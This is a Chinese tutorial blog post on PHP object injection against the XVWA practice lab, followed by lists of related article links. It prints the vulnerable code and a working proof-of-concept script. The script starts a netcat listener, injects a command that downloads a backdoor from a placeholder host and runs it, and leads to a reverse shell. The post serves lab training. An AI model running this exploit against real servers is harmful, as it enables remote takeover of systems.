PHP序列化/对象注入漏洞分析


Posted in PHP onApril 18, 2016

本文是关于PHP序列化/对象注入漏洞分析的短篇,里面讲述了如何获取主机的远程shell。

如果你想自行测试这个漏洞,你可以通过 XVWA 和 Kevgir 进行操作。

漏洞利用的第一步,我们开始测试目标应用是否存在PHP序列化。为了辅助测试,我们使用了Burpsuite的SuperSerial插件,下载地址在 这里 。它会被动检测PHP和Java序列化的存在。

分析
我们检测到了应用里使用了PHP序列化,所以我们可以开始确认应用代码里是否含有远程代码执行漏洞。需要注意的是,序列化对象是从参数“r”取来的:

$var1=unserialize($_REQUEST['r']);
然后再进行反序列化和eval:

eval($this->inject);
接着,执行:

echo "<br/>".$var1[0]." - ".$var1[1];
有了这些,如果我们绕过了参数r的PHP序列化对象,那么就可以获得代码执行漏洞了!

< ?php 
  error_reporting(E_ALL);
  class PHPObjectInjection{
    public $inject;
 
    function __construct(){
 
    }
 
    function __wakeup(){
      if(isset($this->inject)){
        eval($this->inject);
      }
    }
  }
//?r=a:2:{i:0;s:4:"XVWA";i:1;s:33:"XtremeVulnerable Web Application";}
  if(isset($_REQUEST['r'])){ 
 
    $var1=unserialize($_REQUEST['r']);
    
 
    if(is_array($var1)){ 
      echo "
".$var1[0]." - ".$var1[1];
    }
  }else{
    echo "parameter is missing";
  }
? >

漏洞利用
为了利用这个漏洞,我们创建了一个简单的PHP脚本来自动生成PHP序列化payload,以及在目标远程主机上运行我们想要的命令。然后,我创建了一个通用的PHP反弹shell,下载地址如下:

http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
注意: 你需要把这个文件传到web服务器上,改动反弹shell脚本里面的本地ip和端口,以及下面的利用代码:

<?php 
/*
PHP Object Injection PoC Exploit by 1N3@CrowdShield - https://crowdshield.com
A simple PoC to exploit PHP ObjectInjections flaws and gain remote shell access. 
Shouts to @jstnkndy @yappare for theassist!
NOTE: This requireshttp://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gzsetup on a remote host with a connect back IP configured
*/
print"==============================================================================\r\n";
print "PHP Object Injection PoCExploit by 1N3 @CrowdShield - https://crowdshield.com\r\n";
print"==============================================================================\r\n";
print "[+] Generating serializedpayload...[OK]\r\n";
print "[+] Launching reverselistener...[OK]\r\n";
system('gnome-terminal -x sh -c \'nc -lvvp1234\'');
class PHPObjectInjection
{
  //CHANGE URL/FILENAME TO MATCH YOUR SETUP
 public $inject = "system('wget http://yourhost/phpobjbackdoor.txt-O phpobjbackdoor.php && php phpobjbackdoor.php');";
}
 
$url ='http://targeturl/xvwa/vulnerabilities/php_object_injection/?r='; // CHANGE TOTARGET URL/PARAMETER
$url = $url . urlencode(serialize(newPHPObjectInjection));
print "[+] Sendingexploit...[OK]\r\n";
print "[+] Dropping down tointeractive shell...[OK]\r\n";
print"==============================================================================\r\n";
$response =file_get_contents("$url");
 
? >

Demo
现在咱们的利用脚本已经就绪,我们可以执行它来得到远程主机上的反弹shell,用来远程执行命令!

以上就是本文的全部内容,希望对大家学习php程序设计有所帮助。

PHP 相关文章推荐
PHP 多维数组排序(usort,uasort)
Jun 30 PHP
完美实现GIF动画缩略图的php代码
Jan 02 PHP
PHP应用JSON技巧讲解
Feb 03 PHP
如何批量替换相对地址为绝对地址(利用bat批处理实现)
May 27 PHP
解析php中var_dump,var_export,print_r三个函数的区别
Jun 21 PHP
使用PHP获取汉字的拼音(全部与首字母)
Jun 27 PHP
使用php的HTTP请求的库Requests实现美女图片墙
Feb 22 PHP
php删除数组中重复元素的方法
Dec 22 PHP
php错误日志简单配置方法
Jul 11 PHP
PHP中STDCLASS用法实例分析
Nov 11 PHP
Thinkphp5 微信公众号token验证不成功的原因及解决方法
Nov 12 PHP
php 可变函数使用小结
Jun 12 PHP
php实现三级级联下拉框
Apr 17 #PHP
PHP加密3DES报错 Call to undefined function: mcrypt_module_open() 如何解决
Apr 17 #PHP
orm获取关联表里的属性值
Apr 17 #PHP
ThinkPHP框架搭建及常见问题(XAMPP安装失败、Apache/MySQL启动失败)
Apr 15 #PHP
php基于jquery的ajax技术传递json数据简单实例
Apr 15 #PHP
PHP6连接SQLServer2005的三部曲
Apr 15 #PHP
php使用pear_smtp发送邮件
Apr 15 #PHP
You might like
Optimizer与Debugger兼容性问题的解决方法
2008/12/01 PHP
PHP上传Excel文件导入数据到MySQL数据库示例
2016/10/25 PHP
thinkphp关于简单的权限判定方法
2017/04/03 PHP
PHP标准库(PHP SPL)详解
2019/03/16 PHP
用js实现上传图片前的预览(TX的面试题)
2007/08/14 Javascript
15款最好的Bootstrap在线编辑器
2016/08/03 Javascript
AngularJS入门教程之过滤器详解
2016/08/19 Javascript
socket.io学习教程之基础介绍(一)
2017/04/29 Javascript
详解angularjs中如何实现控制器和指令之间交互
2017/05/31 Javascript
详解cordova打包成webapp的方法
2017/10/18 Javascript
原生JS实现前端本地文件上传
2018/09/08 Javascript
JavaScript使用ul中li标签实现删除效果
2019/04/15 Javascript
解决vue单页面应用中动态修改title问题
2019/06/09 Javascript
layui 实现table翻页滚动条位置保持不变的例子
2019/09/05 Javascript
React中使用UMEditor的方法示例
2019/12/27 Javascript
javascript+css实现俄罗斯方块小游戏
2020/06/28 Javascript
js实现验证码功能
2020/07/24 Javascript
[00:35]DOTA2上海特级锦标赛 EG战队宣传片
2016/03/04 DOTA
python安装以及IDE的配置教程
2015/04/29 Python
浅谈Python中函数的参数传递
2016/06/21 Python
Python基于socket模块实现UDP通信功能示例
2018/04/10 Python
pandas数据清洗,排序,索引设置,数据选取方法
2018/05/18 Python
python-itchat 获取微信群用户信息的实例
2019/02/21 Python
python3实现钉钉消息推送的方法示例
2019/03/14 Python
Python高级特性之闭包与装饰器实例详解
2019/11/19 Python
Python 实现Serial 与STM32J进行串口通讯
2019/12/18 Python
python中random模块详解
2021/03/01 Python
H5最强接口之canvas实现动态图形功能
2019/05/31 HTML / CSS
Dodax奥地利:音乐、电影、书籍、玩具、电子产品等
2019/08/31 全球购物
宿舍使用违章电器检讨书
2014/01/12 职场文书
电子专业毕业生自我鉴定
2014/01/22 职场文书
团日活动策划书
2014/02/01 职场文书
小学生作文评语大全
2014/04/21 职场文书
房屋租赁协议书
2014/10/18 职场文书
2016年公司“3.12”植树节活动总结
2016/03/16 职场文书
Mysql排序的特性详情
2021/11/01 MySQL